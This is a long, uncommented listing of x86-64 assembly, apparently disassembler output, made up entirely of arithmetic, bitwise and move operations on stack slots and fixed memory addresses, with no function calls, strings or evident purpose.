lea rax, [rsp + 0x4ec8]
mov qword [rsp + 0xdb18], rax
movsx eax, word [rsp + 0x1148]
movsx ecx, word [0x14019d8e0]
sub eax, ecx
mov rcx, qword [rsp + 0xac20]
mov word [rcx], ax
mov rax, qword [rsp + 0xcff0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2bd]
add eax, ecx
mov rcx, qword [rsp + 0xb710]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1ad]
mov byte [rsp + 0x2cc], al
movzx eax, word [rsp + 0x140c]
movzx ecx, word [rsp + 0x1044]
sub eax, ecx
mov word [0x14019bfa8], ax
mov rax, qword [rsp + 0xba68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f50]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e24], eax
lea rax, [rsp + 0x4698]
mov qword [rsp + 0xdb20], rax
movzx eax, byte [rsp + 0x19d]
mov rcx, qword [rsp + 0xafd0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xab68]
mov byte [rcx], al
mov rax, qword [rsp + 0xd8f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdc4]
sar eax, cl
mov word [rsp + 0x102c], ax
lea rax, [rsp + 0x4de4]
mov qword [rsp + 0xdb28], rax
mov eax, dword [rsp + 0x476c]
mov rcx, qword [rsp + 0xd358]
mov qword [rsp + 0xdb30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdb30]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc768]
mov dword [rcx], eax
lea rax, [rsp + 0x4724]
mov qword [rsp + 0xdb38], rax
mov rax, qword [rsp + 0xcee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c38], eax
mov rax, qword [0x14019ded8]
movzx eax, word [rax]
mov word [0x14019e110], ax
movzx eax, byte [rsp + 0x2bf]
movzx ecx, byte [rsp + 0x2bb]
add eax, ecx
mov byte [rsp + 0x19d], al
mov eax, dword [rsp + 0x4d04]
mov dword [rsp + 0x5070], eax
mov rax, qword [rsp + 0xd818]
mov rcx, qword [rsp + 0xc028]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa9d0]
mov dword [rcx], eax
lea rax, [rsp + 0x129c]
mov qword [rsp + 0xdb40], rax
movsx eax, byte [rsp + 0x23e]
mov rcx, qword [rsp + 0xb180]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa638]
mov byte [rcx], al
movzx eax, word [rsp + 0x1324]
movzx ecx, word [0x14019d870]
sub eax, ecx
mov word [rsp + 0xfa4], ax
movzx eax, byte [rsp + 0x124]
movzx ecx, byte [rsp + 0x281]
and eax, ecx
mov byte [rsp + 0xa3], al
mov rax, qword [rsp + 0xcab8]
mov rcx, qword [rsp + 0xd988]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd7f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4798]
mov ecx, dword [rsp + 0x3694]
add ecx, eax
mov eax, ecx
mov dword [0x14019c040], eax
mov eax, dword [rsp + 0x462c]
mov dword [rsp + 0x5074], eax
mov rax, qword [0x14019d7d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x450c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc038]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc78]
mov eax, dword [rax]
mov dword [rsp + 0x5078], eax
mov rax, qword [rsp + 0xc9b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc018]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x226], al
movzx eax, word [rsp + 0xfc4]
mov rcx, qword [0x14019d878]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc190]
mov word [rcx], ax
mov eax, dword [rsp + 0x4778]
mov dword [rsp + 0x507c], eax
mov rax, qword [rsp + 0xb550]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b38]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4314], eax
lea rax, [rsp + 0x4d34]
mov qword [rsp + 0xdb48], rax
lea rax, [rsp + 0x4eb8]
mov qword [0x14019e118], rax
mov rax, qword [rsp + 0xb210]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd318]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x146c], ax
mov rax, qword [rsp + 0xdb00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb428]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2a7], al
lea rax, [0x14019bf9f]
mov qword [rsp + 0xdb50], rax
mov rax, qword [rsp + 0xa6f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa578]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbd20]
mov word [rcx], ax
mov eax, dword [rsp + 0x4898]
mov dword [rsp + 0x5080], eax
mov rax, qword [rsp + 0xbc48]
mov rcx, qword [0x14019da98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43a0], eax
movzx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0xb730]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfe4], ax
mov rax, qword [rsp + 0xce00]
movzx eax, byte [rax]
mov byte [rsp + 0x2cd], al
mov eax, dword [rsp + 0x37d8]
mov ecx, dword [rsp + 0x4f64]
add ecx, eax
mov eax, ecx
mov dword [0x14019bf88], eax
mov eax, dword [rsp + 0x4174]
mov ecx, dword [rsp + 0x45a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d0c], eax
mov rax, qword [rsp + 0xd7b8]
mov eax, dword [rax]
mov dword [rsp + 0x5084], eax
mov rax, qword [rsp + 0xad40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47a8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd658]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x20f]
movzx ecx, byte [rsp + 0x14f]
and eax, ecx
mov byte [rsp + 0x265], al
lea rax, [rsp + 0x1068]
mov qword [rsp + 0xdb58], rax
mov rax, qword [rsp + 0xd400]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4c78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3388], eax
mov eax, dword [rsp + 0x4f08]
mov dword [rsp + 0x5088], eax
mov rax, qword [rsp + 0xd9c8]
mov rcx, qword [rsp + 0xb6a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4de8], eax
lea rax, [0x14019bf58]
mov qword [0x14019e120], rax
mov rax, qword [rsp + 0xbff8]
mov eax, dword [rax]
mov dword [rsp + 0x508c], eax
movsx eax, byte [rsp + 0x1a8]
mov rcx, qword [rsp + 0xcc68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x274], al
mov rax, qword [rsp + 0xb440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfb4]
sar eax, cl
mov word [rsp + 0x13d4], ax
movzx eax, word [rsp + 0x1158]
mov rcx, qword [rsp + 0xb870]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc04], ax
movzx eax, byte [rsp + 0x244]
mov rcx, qword [0x14019e0c8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc318]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb48]
mov eax, dword [rax]
mov dword [rsp + 0x5090], eax
mov rax, qword [rsp + 0xbb58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa4a0]
mov qword [rsp + 0xdb60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdb60]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4688], eax
movzx eax, byte [rsp + 0x234]
movzx ecx, byte [0x14019900e]
and eax, ecx
mov byte [rsp + 0x1b1], al
movzx eax, word [rsp + 0xd68]
mov rcx, qword [rsp + 0xb5e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019dbf0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4b94]
mov dword [rsp + 0x5094], eax
mov rax, qword [0x14019df28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x490c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4e88]
mov dword [rsp + 0x5098], eax
mov rax, qword [rsp + 0xaca8]
mov rcx, qword [rsp + 0xd180]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4934], eax
movzx eax, byte [rsp + 0x168]
movzx ecx, byte [rsp + 0x9a]
sub eax, ecx
mov byte [rsp + 0x24c], al
mov rax, qword [rsp + 0xc218]
movzx eax, word [rax]
mov word [rsp + 0x14b8], ax
mov eax, dword [rsp + 0x4750]
mov ecx, dword [rsp + 0x429c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa9a8]
mov dword [rcx], eax
mov eax, dword [0x14019d830]
mov dword [rsp + 0x509c], eax
mov rax, qword [rsp + 0xb228]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10ac]
add eax, ecx
mov word [0x14019c138], ax
movsx eax, byte [rsp + 0x25b]
movsx ecx, byte [rsp + 0x270]
and eax, ecx
mov byte [rsp + 0x15a], al
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0xdb68], rax
mov rax, qword [rsp + 0xa850]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb0f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xab40]
mov word [rcx], ax
mov rax, qword [rsp + 0xdad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f4c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdb20]
mov dword [rcx], eax
lea rax, [0x14019c0a8]
mov qword [rsp + 0xdb70], rax
mov rax, qword [rsp + 0xb950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4414]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad20]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc938]
mov eax, dword [rax]
mov dword [rsp + 0x50a0], eax
mov eax, dword [rsp + 0x45d8]
movzx ecx, al
mov eax, dword [0x14019bfa0]
sar eax, cl
mov rcx, qword [rsp + 0xd828]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb290]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfd0]
shl eax, cl
mov word [rsp + 0xf4c], ax
movzx eax, byte [rsp + 0x268]
movzx ecx, byte [rsp + 0x194]
sub eax, ecx
mov byte [0x14019bf0b], al
mov rax, qword [rsp + 0xba68]
mov eax, dword [rax]
mov dword [rsp + 0x50a4], eax
mov rax, qword [rsp + 0xcbd8]
mov rcx, qword [rsp + 0xacd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x46dc], eax
lea rax, [rsp + 0x5038]
mov qword [rsp + 0xdb78], rax
mov eax, dword [rsp + 0x4b48]
mov ecx, dword [0x14019c0d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0d8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xfbc]
movzx ecx, word [rsp + 0x10e8]
sub eax, ecx
mov rcx, qword [rsp + 0xac40]
mov word [rcx], ax
lea rax, [rsp + 0x249]
mov qword [rsp + 0xdb80], rax
movsx eax, word [0x14019bf80]
mov rcx, qword [rsp + 0xd508]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1138], ax
movzx eax, byte [rsp + 0x24a]
mov byte [rsp + 0x2ce], al
mov rax, qword [rsp + 0xd858]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019c13c], eax
mov rax, qword [rsp + 0xaa18]
mov rcx, qword [rsp + 0xbb58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb240]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf4c]
mov rcx, qword [rsp + 0xaed0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfd0], ax
lea rax, [0x14019bff7]
mov qword [rsp + 0xdb88], rax
mov rax, qword [rsp + 0xcac0]
mov rcx, qword [rsp + 0xd3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xacd8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5034]
mov ecx, dword [rsp + 0x4828]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x35d0], eax
mov eax, dword [rsp + 0x43c8]
movzx ecx, al
mov eax, dword [0x14019c070]
shl eax, cl
mov dword [rsp + 0x4d00], eax
lea rax, [rsp + 0x4ec0]
mov qword [rsp + 0xdb90], rax
movzx eax, word [rsp + 0x11bc]
movzx ecx, word [rsp + 0xeb8]
xor eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
mov rax, qword [rsp + 0xcbf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xce38]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14019bf1f], al
mov rax, qword [rsp + 0xbaa8]
mov ecx, dword [rsp + 0x34b4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xd358]
mov dword [rcx], eax
lea rax, [rsp + 0x47f0]
mov qword [rsp + 0xdb98], rax
mov rax, qword [0x14019ddf0]
mov ecx, dword [rsp + 0x436c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbb68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x474c]
mov dword [rsp + 0x50a8], eax
mov rax, qword [0x14019dfb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4270], eax
movsx eax, byte [rsp + 0x2c5]
mov rcx, qword [rsp + 0xb500]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaa20]
mov byte [rcx], al
lea rax, [rsp + 0x106c]
mov qword [rsp + 0xdba0], rax
mov rax, qword [rsp + 0xc068]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18a]
sub eax, ecx
mov byte [rsp + 0x256], al
movzx eax, word [rsp + 0x1020]
mov word [0x14019e128], ax
lea rax, [rsp + 0x4e24]
mov qword [rsp + 0xdba8], rax
mov rax, qword [rsp + 0xa8c8]
mov rcx, qword [rsp + 0xcda8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc0e0]
mov dword [rcx], eax
movzx eax, word [0x14019c0d4]
mov rcx, qword [rsp + 0xb898]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa54], ax
movzx eax, byte [rsp + 0x2cd]
mov byte [rsp + 0x2cf], al
mov eax, dword [rsp + 0x4f54]
mov ecx, dword [rsp + 0x4a88]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbfe8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x419c]
mov dword [rsp + 0x50ac], eax
mov rax, qword [rsp + 0xd728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b44], eax
mov rax, qword [rsp + 0xcb08]
mov eax, dword [rax]
mov dword [rsp + 0x50b0], eax
movzx eax, byte [rsp + 0x204]
movzx ecx, byte [rsp + 0x1ab]
sub eax, ecx
mov rcx, qword [0x14019df78]
mov byte [rcx], al
movzx eax, word [rsp + 0x10e0]
movzx ecx, word [rsp + 0xb08]
add eax, ecx
mov rcx, qword [rsp + 0xab40]
mov word [rcx], ax
mov rax, qword [rsp + 0xd6a0]
mov ecx, dword [0x14019dcb0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb5f0]
mov dword [rcx], eax
lea rax, [rsp + 0x4488]
mov qword [rsp + 0xdbb0], rax
mov rax, qword [rsp + 0xd458]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa790]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbc30]
mov word [rcx], ax
lea rax, [rsp + 0x269]
mov qword [rsp + 0xdbb8], rax
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0xc3d0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xde4], ax
mov rax, qword [rsp + 0xc7c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ef]
shl eax, cl
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0xcb88]
mov eax, dword [rax]
mov dword [rsp + 0x50b4], eax
mov eax, dword [rsp + 0x48a4]
mov ecx, dword [0x14019df60]
xor ecx, eax
mov eax, ecx
mov dword [0x14019c140], eax
mov rax, qword [rsp + 0xc108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3494]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb938]
mov dword [rcx], eax
lea rax, [0x14019c09c]
mov qword [rsp + 0xdbc0], rax
mov eax, dword [rsp + 0x4b68]
mov ecx, dword [rsp + 0x4580]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc8b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb148]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcab0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x26b], al
lea rax, [0x14019c018]
mov qword [rsp + 0xdbc8], rax
mov rax, qword [rsp + 0xae30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x429c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4954], eax
mov eax, dword [rsp + 0x4388]
mov dword [rsp + 0x50b8], eax
mov rax, qword [rsp + 0xd698]
mov ecx, dword [rsp + 0x480c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb4c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4a1c]
mov ecx, dword [rsp + 0x43c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14019dac0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc018]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21a]
add eax, ecx
mov rcx, qword [rsp + 0xc078]
mov byte [rcx], al
lea rax, [0x14019bf14]
mov qword [rsp + 0xdbd0], rax
movsx eax, byte [rsp + 0x20e]
movsx ecx, byte [rsp + 0x2b7]
sub eax, ecx
mov rcx, qword [rsp + 0xc948]
mov byte [rcx], al
lea rax, [rsp + 0x1358]
mov qword [rsp + 0xdbd8], rax
mov rax, qword [rsp + 0xb380]
mov ecx, dword [rsp + 0x41d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x47e0], eax
mov rax, qword [rsp + 0xd078]
mov eax, dword [rax]
mov dword [rsp + 0x50bc], eax
movzx eax, word [rsp + 0x1080]
movzx ecx, word [rsp + 0x10f8]
or eax, ecx
mov rcx, qword [rsp + 0xc530]
mov word [rcx], ax
mov rax, qword [0x14019db38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc590]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd460]
mov byte [rcx], al
mov eax, dword [rsp + 0x4758]
movzx ecx, al
mov eax, dword [rsp + 0x4364]
shr eax, cl
mov dword [0x14019c144], eax
mov eax, dword [rsp + 0x5050]
mov dword [rsp + 0x50c0], eax
mov rax, qword [rsp + 0xb770]
mov ecx, dword [rsp + 0x498c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4308], eax
lea rax, [rsp + 0x47dc]
mov qword [rsp + 0xdbe0], rax
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xd8c8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc290]
mov byte [rcx], al
movzx eax, word [rsp + 0xbfc]
movzx ecx, word [rsp + 0xf5c]
add eax, ecx
mov rcx, qword [rsp + 0xd428]
mov word [rcx], ax
mov rax, qword [rsp + 0xade8]
mov eax, dword [rax]
mov dword [rsp + 0x50c4], eax
mov eax, dword [0x14019ddd0]
mov ecx, dword [rsp + 0x4510]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb1e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb3a0]
mov rcx, qword [rsp + 0xacb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3a48], eax
mov rax, qword [rsp + 0xbc98]
mov rcx, qword [rsp + 0xc268]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019daec], eax
mov rax, qword [0x14019da90]
mov rcx, qword [rsp + 0xbf70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xca78]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x184]
movsx ecx, byte [rsp + 0x266]
sub eax, ecx
mov byte [rsp + 0x18c], al
lea rax, [rsp + 0x10c0]
mov qword [rsp + 0xdbe8], rax
mov rax, qword [rsp + 0xc078]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbcb8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaf38]
mov byte [rcx], al
lea rax, [rsp + 0xbfc]
mov qword [rsp + 0xdbf0], rax
mov eax, dword [rsp + 0x49c4]
mov ecx, dword [rsp + 0x4790]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd210]
mov ecx, dword [rsp + 0x43a0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x46c4], eax
lea rax, [rsp + 0x20c]
mov qword [rsp + 0xdbf8], rax
lea rax, [rsp + 0xffc]
mov qword [0x14019e130], rax
mov rax, qword [rsp + 0xd050]
mov ecx, dword [0x14019bf44]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x435c], eax
lea rax, [rsp + 0x49e0]
mov qword [rsp + 0xdc00], rax
mov eax, dword [rsp + 0x4268]
mov rcx, qword [rsp + 0xb900]
mov qword [rsp + 0xdc08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdc08]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5010], eax
lea rax, [0x14019bfe0]
mov qword [rsp + 0xdc10], rax
movzx eax, byte [rsp + 0x241]
movzx ecx, byte [rsp + 0x258]
xor eax, ecx
mov rcx, qword [rsp + 0xc5d8]
mov byte [rcx], al
movzx eax, word [rsp + 0xae4]
mov rcx, qword [rsp + 0xc860]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe54], ax
mov rax, qword [rsp + 0xb4c0]
mov eax, dword [rax]
mov dword [rsp + 0x50c8], eax
mov rax, qword [rsp + 0xbcf0]
mov rcx, qword [rsp + 0xc580]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd6f0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1320]
mov rcx, qword [rsp + 0xb0a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019bf04], ax
movzx eax, byte [rsp + 0x14c]
mov byte [rsp + 0x2d0], al
mov rax, qword [rsp + 0xc540]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x111c]
add eax, ecx
mov word [rsp + 0x1070], ax
mov rax, qword [rsp + 0xcfb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x170]
add eax, ecx
mov byte [rsp + 0x14f], al
mov eax, dword [0x14019db08]
mov dword [rsp + 0x50cc], eax
mov rax, qword [rsp + 0xc238]
mov ecx, dword [rsp + 0x4844]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4964], eax
mov eax, dword [rsp + 0x4968]
mov dword [rsp + 0x50d0], eax
mov rax, qword [0x14019dad0]
mov rcx, qword [rsp + 0xcf48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcdd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc478]
mov ecx, dword [rsp + 0x3c3c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f38], eax
lea rax, [rsp + 0xdf]
mov qword [rsp + 0xdc18], rax
mov rax, qword [rsp + 0xc598]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc728]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019dbf0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc9d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f34]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd4a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcb90]
mov eax, dword [rax]
mov dword [rsp + 0x50d4], eax
mov eax, dword [rsp + 0x4f7c]
mov ecx, dword [0x14019c028]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb248]
mov dword [rcx], eax
lea rax, [rsp + 0x4a6c]
mov qword [rsp + 0xdc20], rax
movzx eax, byte [rsp + 0x29b]
movzx ecx, byte [rsp + 0x60]
sar eax, cl
mov rcx, qword [rsp + 0xc3e8]
mov byte [rcx], al
movzx eax, word [0x14019bf6c]
mov rcx, qword [rsp + 0xb178]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc888]
mov word [rcx], ax
mov rax, qword [rsp + 0xc858]
movzx eax, byte [rax]
mov byte [rsp + 0x2d1], al
mov rax, qword [rsp + 0xba48]
movsx eax, word [rax]
mov rcx, qword [0x14019de78]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1410], ax
mov rax, qword [rsp + 0xc650]
mov eax, dword [rax]
mov dword [0x14019e138], eax
lea rax, [rsp + 0x4abc]
mov qword [rsp + 0xdc28], rax
mov rax, qword [rsp + 0xc918]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x237]
or eax, ecx
mov byte [rsp + 0x284], al
mov rax, qword [0x14019d9b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe20]
and eax, ecx
mov rcx, qword [rsp + 0xc728]
mov word [rcx], ax
lea rax, [rsp + 0x50d0]
mov qword [rsp + 0xdc30], rax
mov rax, qword [rsp + 0xd038]
mov ecx, dword [rsp + 0x505c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44d0], eax
mov rax, qword [0x14019dd28]
mov eax, dword [rax]
mov dword [rsp + 0x50d8], eax
mov rax, qword [rsp + 0xb900]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48ec], eax
mov rax, qword [rsp + 0xcf88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdc18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x198], al
movzx eax, word [rsp + 0x1414]
mov rcx, qword [rsp + 0xc440]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019c148], ax
mov eax, dword [rsp + 0x4790]
mov dword [rsp + 0x50dc], eax
mov rax, qword [rsp + 0xabf0]
mov ecx, dword [0x14019c078]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4178], eax
mov rax, qword [rsp + 0xce58]
mov ecx, dword [rsp + 0x424c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x39e4], eax
mov rax, qword [rsp + 0xd100]
mov ecx, dword [rsp + 0x4a74]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb000]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4378]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x436c], eax
lea rax, [rsp + 0xcb4]
mov qword [rsp + 0xdc38], rax
mov rax, qword [rsp + 0xd3c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x221]
xor eax, ecx
mov rcx, qword [rsp + 0xd5d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xab10]
movzx eax, word [rax]
mov word [rsp + 0x14bc], ax
mov rax, qword [rsp + 0xd3c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x227]
or eax, ecx
mov rcx, qword [0x14019d9f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd730]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc310]
mov qword [rsp + 0xdc40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdc40]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4c94], eax
lea rax, [0x14019d938]
mov qword [rsp + 0xdc48], rax
movzx eax, byte [rsp + 0x1be]
movzx ecx, byte [rsp + 0x2b3]
shl eax, cl
mov byte [rsp + 0x1e2], al
mov rax, qword [rsp + 0xd2b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa648]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11e4], ax
mov rax, qword [rsp + 0xd520]
mov eax, dword [rax]
mov dword [rsp + 0x50e0], eax
mov rax, qword [rsp + 0xd7f8]
mov ecx, dword [rsp + 0x4a54]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbe28]
mov dword [rcx], eax
mov eax, dword [rsp + 0x50d8]
mov dword [rsp + 0x50e4], eax
mov rax, qword [0x14019e0d8]
mov rcx, qword [rsp + 0xb208]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a24], eax
movzx eax, byte [rsp + 0x23f]
movzx ecx, byte [rsp + 0x181]
sub eax, ecx
